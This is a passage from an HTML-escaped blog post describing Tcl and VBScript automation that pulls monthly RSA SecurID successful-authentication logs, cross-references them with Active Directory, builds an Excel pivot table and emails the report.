/&gt;&lt;br /&gt;&lt;br /&gt;set line [Sd_DynamicSelect auths.csv 0 0 0 0 "" "" "SELECT chUserName,chLogin,dtGMTDate,tGMTTOD,chClientName FROM SDLogEntry WHERE dtGMTDate &amp;gt;=$startdate AND dtGMTDate &amp;lt;=$enddate AND iMessageNum=1011 ORDER by dtGMTDate,chClientName,chLogin" ]&lt;br /&gt;puts $line&lt;br /&gt;puts "Report Complete"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sd_ApiEnd&lt;br /&gt;exit&lt;br /&gt;&lt;div&gt;---------------------------------------------------------------------------------------------------------&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The second part is another VBS script. This one takes some arguments. It can either take a start date and end date as arguments, or you can pass it 'auto' as a sole&amp;nbsp;parameter&amp;nbsp;and it will use the system date on the box to determine the current month, and get last month's data. The VBS script then executes the TCL script, and generates an output on all the successful authentications for the month. Then using very&amp;nbsp;similar&amp;nbsp;tricks to the previous post, this script parses that data and XREFs it with our Active Directory structure. It&amp;nbsp;compresses&amp;nbsp;the data down so what we have is a report on successful authentications by Day, by Agent Host, and finally by User, with a number of successful auths for each. So for example, if during the course of a day I log in via Citrix 3 times, and by vpn twice. There would&amp;nbsp;be&amp;nbsp;two records for my username on that day.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Once it has compiled that report, it then assembles it into a nice little Pivot chart for easy manipulation of the data. This allows you to filter the data based on a number of factors such as&amp;nbsp;location&amp;nbsp;or department. Finally, it emails the report off and cleans up after itself, deleting all the interim&amp;nbsp;reports&amp;nbsp;it generated. The VBS script looks like this:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;-----------------------------------------------------------------------------------------------------&lt;/div&gt;&lt;div&gt;&lt;div&gt;On Error Resume Next&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If Wscript.Arguments.Item(0) = "auto" Then&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;intLastMonth = (month(Date) -1)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;strMonth = CStr(intLastMonth)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if Len(strMonth) =1 Then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strMonth= "0" &amp;amp; strMonth&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;If strMonth = "01" or strMonth = "03" or strMonth = "05" or strMonth = "07" or strMonth = "08" or strMonth = "10" or strMonth = "12" Then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strEndMonth = "31"&lt;br /&gt;elseif&amp;nbsp;strMonth = "02" Then&lt;br /&gt;&amp;nbsp;&amp;nbsp;strEndMonth = "28"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strEndMonth = "30"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;strYear = CStr(Year(Date))&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;startdate = strMonth &amp;amp; ".01." &amp;amp; strYear&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;enddate = strMonth &amp;amp; "." &amp;amp; strEndMonth &amp;amp; "." &amp;amp; strYear&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;email=true&lt;/div&gt;&lt;div&gt;else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;startdate = Wscript.Arguments.Item(0)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;enddate = Wscript.Arguments.Item(1)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;email=false&lt;/div&gt;&lt;div&gt;end if&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;set objShell = wscript.createObject("wscript.shell")&lt;/div&gt;&lt;div&gt;iReturn = objShell.Run("D:\Ace\utils\tcl\BIN\tcl-sd month_auths.tcl " &amp;amp; startdate &amp;amp; " " &amp;amp; enddate)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Wscript.sleep 10000&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Set objFS =CreateObject("Scripting.FileSystemObject")&lt;/div&gt;&lt;div&gt;set objReportIn = objFS.OpenTextfile("auths.csv")&lt;/div&gt;&lt;div&gt;set objReportOut = objFS.OpenTextfile("AUTH_Report.csv",2, TRUE)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Wscript.Echo "Parsing Report..."&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;objReportIn.Readline&lt;/div&gt;&lt;div&gt;arrayLine = split(objReportIn.Readline, ",")&lt;/div&gt;&lt;div&gt;user1 = arrayLine(1)&lt;/div&gt;&lt;div&gt;name = arrayLine(0)&lt;/div&gt;&lt;div&gt;adate = arrayLine(2)&lt;/div&gt;&lt;div&gt;agent = arrayLine(4)&lt;/div&gt;&lt;div&gt;userCount = 1&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;objReportOut.WriteLine("Date,Login,Propper_Name,Num_Auths,Agent_Host,Country,Office,Company,Department,Is_IT")&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;do until objReportIn.AtEndOfStream&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set objUsers = CreateObject("Scripting.Dictionary")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;arrayLine = split(objReportIn.Readline, ",")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;If arrayLine(1) &amp;lt;&amp;gt; user1 then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;user1= replace(user1,Chr(34),"")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;name = replace(name,Chr(34),"")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;user1 = replace(user1,","," ")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;name= replace(name,","," ")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;If objUsers.Exists(user1)=False then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;objUsers.Add user1, Query(user1)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if objUsers(user1).Exists("Abort") then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;country="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;office="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;company="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;department="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;isIT="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;country = objUsers.Item(user1).Item("Country")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;office = objUsers.Item(user1).Item("Office")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;company = objUsers.Item(user1).Item("Company")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;department = objUsers.Item(user1).Item("Department")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;isIT = objUsers.Item(user1).Item("IsIT")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objReportOut.WriteLine(adate &amp;amp; "," &amp;amp; user1 &amp;amp; "," &amp;amp; name &amp;amp; "," &amp;amp; userCount &amp;amp; "," &amp;amp; agent &amp;amp; "," &amp;amp; country &amp;amp; "," &amp;amp; office &amp;amp; "," &amp;amp; company &amp;amp; "," &amp;amp; department &amp;amp; "," &amp;amp; isIT)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;user1 = arrayLine(1)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;name = arrayLine(0)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;adate = arrayLine(2)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;agent = arrayLine(4)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;userCount = 1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;userCount = userCount +1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;loop&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;objReportIn.close&lt;/div&gt;&lt;div&gt;objReportOut.Close&lt;/div&gt;&lt;div&gt;CreatePivot&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;if email=true then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;SendReport&lt;/div&gt;&lt;div&gt;end if&lt;/div&gt;&lt;div&gt;Set objReport1 = objFS.GetFile("D:\Ace\utils\tcl\BIN\Auths\auths.csv")&lt;/div&gt;&lt;div&gt;Set objReport2 = objFS.GetFile("D:\Ace\utils\tcl\BIN\Auths\Auth_Report.csv")&lt;/div&gt;&lt;div&gt;Set objFinal= objFS.GetFile("D:\Ace\utils\tcl\BIN\Auths\RSA_Auth_Report.xls")&lt;/div&gt;&lt;div&gt;objReport1.Delete&lt;/div&gt;&lt;div&gt;objReport2.Delete&lt;/div&gt;&lt;div&gt;objFinal.Delete&lt;/div&gt;&lt;div&gt;Wscript.Echo "Done"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Function CreatePivot&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Wscript.echo "creating pivottable"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set objXRep=CreateObject("Excel.Application")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;'objXRep.visible=true&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objXrep.Workbooks.open "D:\Ace\utils\tcl\BIN\Auths\AUTH_Report.csv" , true , true&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set mySheet = objXRep.ActiveWorkbook.Worksheets(1)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Dim topBot&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;topBot=Split(mySheet.UsedRange.Address,":")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;'Wscript.echo topBot(1)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set myWorkbook=mySheet.Parent&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;newName="AuthPivot"&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set myCache=myWorkbook.PivotCaches.Add(1,"'" &amp;amp; mySheet.Name &amp;amp; "'!A1:" &amp;amp; topBot(1))&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set myTable=myCache.CreatePivotTable("", newName,TRUE, -1)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set pivotSheet = myTable.Parent&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;pivotSheet.Name=newName&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;With myTable.PivotFields("Is_IT")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Orientation = 3&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;With myTable.PivotFields("Country")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Orientation = 3&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;With myTable.PivotFields("Office")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Orientation = 3&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;End With&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;With myTable.PivotFields("Department")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Orientation = 3&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; With myTable.PivotFields("Company")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Orientation = 3&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; End With&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; With myTable.PivotFields("Date")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Orientation = 1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Position = 1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; With myTable.PivotFields("Agent_Host")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Orientation = 2&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Position = 1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; End With&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; myTable.AddDataField myTable.PivotFields("Num_Auths"), "Successful Authentications", -4157&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;With myTable&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.ColumnGrand = TRUE&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.RowGrand = TRUE&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;topBot=Split(pivotSheet.UsedRange.Address,":")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Dim col,cols&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;cols = Split(topBot(1),"$")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;col=cols(1)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;row = cols(2)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;With pivotSheet.Range("B8:" &amp;amp; col &amp;amp; row)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Interior.ColorIndex = 50&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;With .Borders(7)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.LineStyle = 1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.Weight = 2&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.ColorIndex = -4105&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;With .Borders(8)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.LineStyle = 1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.Weight = 2&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.ColorIndex = -4105&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;With .Borders(9)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.LineStyle = 1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.Weight = 2&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.ColorIndex = -4105&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;With .Borders(10)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.LineStyle = 1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.Weight = 2&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.ColorIndex = -4105&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;With .Borders(11)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.LineStyle = 1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.Weight = 2&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;.ColorIndex = -4105&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;With pivotSheet.Range("B8:" &amp;amp; col &amp;amp; "8")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.HorizontalAlignment = 1&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.VerticalAlignment = -4107&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.WrapText = False&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Orientation = 45&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.AddIndent = False&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.IndentLevel = 0&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.ShrinkToFit = False&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.ReadingOrder = -5002&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.MergeCells = False&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Font.Bold = TRUE&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Interior.ColorIndex = 37&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;' Fit here - before putting in borders&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;pivotSheet.Columns("A:" &amp;amp; col).AutoFit&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;With pivotSheet.Range("A9:A" &amp;amp; (row-1))&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Interior.ColorIndex = 37&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;With pivotSheet.Range( col &amp;amp; row &amp;amp; ":" &amp;amp; col &amp;amp; row)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Font.Bold = TRUE&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;With pivotSheet.Range("A9:A" &amp;amp; row)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   